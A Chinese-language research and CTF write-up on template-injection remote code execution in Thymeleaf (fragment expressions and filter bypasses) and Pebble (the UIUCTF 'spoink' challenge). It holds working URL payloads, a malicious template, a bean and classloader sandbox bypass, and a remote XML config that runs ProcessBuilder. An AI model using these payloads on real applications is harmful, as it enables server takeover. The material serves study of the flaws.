前言 针对于 Java 的两种模板引擎,当你能控制返回的模板名,就能RCE?
分析 Thymeleaf 片段表达式 ~{...}
三种用法:
还有一点需要注意,当出现::
时,后面必须要有内容
Exploit ThymeleafView#renderFragment
会根据视图名解析模板名称
当模板名包含::
,会尝试解析表达式,用到的就是片段表达式
官方手册中也有:
继续跟进:
进入process
方法
如果没有_
则返回,如果有的话会将__xx__
中间部分取出并尝试执行,所以可以推出payload的构造
最终在VariableExpression#executeVariableExpression
获得结果
payload如下:
1 http://localhost:8080/admin?language=__${new%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()}__::xxx
Bypass 3.0.12版本之后多了SpringStandardExpressionUtils
类检测调用的表达式
主要是:
添加字符 在T
和(
添加如%20,%0a,%09等
视图名和path一样 3.0.12后还多了SpringStandardExpressionUtils
如果视图名称包含在 URL 的路径或参数中,请避免将视图名称作为片段表达式执行
如这样的代码
先做检测:
found为ture就会抛出异常
这里vn的经过pack方法处理已经为小写了,getRequestURL转义下+
和&
添加分号
1 http://localhost:8080/home;/__${T (java.lang.Runtime).getRuntime().exec(%22calc%22)}__::das
路径中存在 ;时,解析时会去掉
这就导致了不一致
添加斜杠
1 http://localhost:8080/home//__${T (java.lang.Runtime).getRuntime().exec(%22calc%22)}__::das
但也因此执行的命令中不能含有/
,是路由的问题(404)
Pebble 题目来自UIUCTF spoink,题目其实就一个输入可控点,情景类似,用到的是pebble模板
关于 pebble 的 ssti 找到的文章如这个
https://gingsguard.github.io/server-side-template-injection-on-the-example-of-pebble/
总体来说挖掘思路是借鉴上面的
一开始在想有没有类似片段表达式的东西,去官方手册搜 block 相关的,好像并没有
后来找解析模板名的类以及函数,也没什么思路,幸好y4师傅也做了这道题,自己思路确实太简单了还错了,跟着复现学到了很多
目录穿越 application.properties
当中并规定没有后缀
1 2 pebble.prefix = templates pebble.suffix =
pebble当中有两个loader一个是classpathloader,另一个是fileloader,优先会在classpath下尝试加载模板文件,如果寻找不到则使用fileloader尝试加载模板文件
在com.mitchellbosecke.pebble.loader.FileLoader#getFile
加载模板文件内容
因此目前的思路就是:
模板上传 路由中并没有文件上传的点,但是Spring MVC
框架是围绕DispatcherServlet
来设计的
Servlet会把请求分发给各个处理器,并支持可配置的处理器映射、视图渲染、本地化、时区与主题渲染和文件上传
等功能
在分派时会检查这是否是一个表单请求
处理表单的内容当中这会调用org.apache.catalina.connector.Request#getParts
会先将上传的文件保存到一个临时目录再最终复制到目标文件夹,在org.apache.catalina.connector.Request#parseParts
获取临时文件夹
为默认值空,所以会保存到 tmpdir 目录下(Linux就是在/tmp下)(这个临时路径会根据配置当中spring.servlet.multipart.location
的值设置,具体在org.springframework.boot.autoconfigure.web.servlet.MultipartProperties),另临时文件名又是根据 UID 随机生成的
爆破是不太可能了,但还能利用文件描述符,docker搭起来换环境
这里复现时一直没有临时文件,想远程 debug 一下 jar,好像有问题,先搁置一下…
另外也记录一下 docker-compose 一些命令
1 2 docker-compose up -d docker
绕过模板RCE 先拿个以前的恶意模板看看:
1 2 3 4 5 6 7 8 9 10 11 12 {% set cmd = 'id' %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }}
被禁了,在BlacklistMethodAccessValidator
类中
1 2 3 4 5 6 private static final String[] FORBIDDEN_METHODS = new String []{"getClass" , "wait" , "notify" , "notifyAll" }; public boolean isMethodAccessAllowed (Object object, Method method) { boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this .isUnsafeMethod(method); return !methodForbidden; }
不能是这些类的实例,不能调用被禁止的方法
Spring 应用程序的许多实例都隐式注册为bean
因此思路是从bean当中找到一个保存了classloader的对象,通过获取到它我们就能通过执行loadClass加载到任意对象。
pebble在初始化上下文时是在com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale)
当中
这个beans是从下面加载的:应用程序的上下文
通过以下代码查看都有什么
1 2 3 4 5 6 ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();org.springframework.web.context.WebApplicationContext context = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss); String[] beanDefinitionNames = context.getBeanDefinitionNames(); for (String o:beanDefinitionNames) { System.out.println(o.toString()); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 org.springframework.context.annotation.internalConfigurationAnnotationProcessor org.springframework.context.annotation.internalAutowiredAnnotationProcessor org.springframework.context.annotation.internalCommonAnnotationProcessor org.springframework.context.event.internalEventListenerProcessor org.springframework.context.event.internalEventListenerFactory spoinkApplication org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory homeController pebbleLoader org.springframework.boot.autoconfigure.AutoConfigurationPackages org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration propertySourcesPlaceholderConfigurer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration websocketServletWebServerCustomizer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat tomcatServletWebServerFactory org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration servletWebServerFactoryCustomizer tomcatServletWebServerFactoryCustomizer org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor org.springframework.boot.context.internalConfigurationPropertiesBinderFactory org.springframework.boot.context.internalConfigurationPropertiesBinder org.springframework.boot.context.properties.BoundConfigurationProperties org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter server-org.springframework.boot.autoconfigure.web.ServerProperties webServerFactoryCustomizerBeanPostProcessor errorPageRegistrarBeanPostProcessor org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration dispatcherServlet spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration dispatcherServletRegistration org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration taskExecutorBuilder applicationTaskExecutor spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration error beanNameViewResolver org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration conventionErrorViewResolver spring.web-org.springframework.boot.autoconfigure.web.WebProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration errorAttributes basicErrorController errorPageCustomizer preserveErrorControllerTargetClassPostProcessor org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration requestMappingHandlerAdapter requestMappingHandlerMapping welcomePageHandlerMapping localeResolver themeResolver flashMapManager mvcConversionService mvcValidator mvcContentNegotiationManager mvcPatternParser mvcUrlPathHelper mvcPathMatcher viewControllerHandlerMapping beanNameHandlerMapping routerFunctionMapping resourceHandlerMapping mvcResourceUrlProvider defaultServletHandlerMapping handlerFunctionAdapter mvcUriComponentsContributor httpRequestHandlerAdapter simpleControllerHandlerAdapter handlerExceptionResolver mvcViewResolver mvcHandlerMappingIntrospector viewNameTranslator org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter defaultViewResolver viewResolver requestContextFilter org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration formContentFilter com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration pebbleViewResolver com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration springExtension pebbleEngine pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration mbeanExporter objectNamingStrategy mbeanServer org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration springApplicationAdminRegistrar org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration forceAutoProxyCreatorToUseClassProxying org.springframework.boot.autoconfigure.aop.AopAutoConfiguration org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration applicationAvailability org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration standardJacksonObjectMapperBuilderCustomizer spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration jacksonObjectMapperBuilder org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration parameterNamesModule org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration jacksonObjectMapper org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration jsonComponentModule org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration lifecycleProcessor spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration stringHttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration mappingJackson2HttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration messageConverters org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration scheduledBeanLazyInitializationExcludeFilter taskSchedulerBuilder spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration restTemplateBuilderConfigurer restTemplateBuilder org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration tomcatWebServerFactoryCustomizer org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration characterEncodingFilter localeCharsetMappingsCustomizer org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration multipartConfigElement multipartResolver spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties org.springframework.aop.config.internalAutoProxyCreator
因此这样既可加载任意类
1 {% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}
通过jackson获取类实例(将json转化为实体类)
1 {% set classInstance = beans.get("jacksonObjectMapper").readValue("{}", class1) %}
环境是jdk18,发现engineManager.getEngineByName里面裤子都不剩了啥都没有,同时由于jackson实例化限制我们也不能直接实例化jshell
还有两个类它们实例化加载配置文件可以造成rce
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
但在SubTypeValidator
中也做了限制
最终通过java.beans.Beans#instantiate
方法可以加载任意public修饰的构造方法对象(方法加载绕过)
1 2 3 4 5 {% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %} {% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %} {% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %} {{ yyy.setConfigLocation("http://xxxx/eval.xml") }} {{ yyy.refresh() }}
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > calc.exe</value > </list > </constructor-arg > </bean > </beans >
参考 https://www.cnpanda.net/sec/1063.html
https://tttang.com/archive/1692/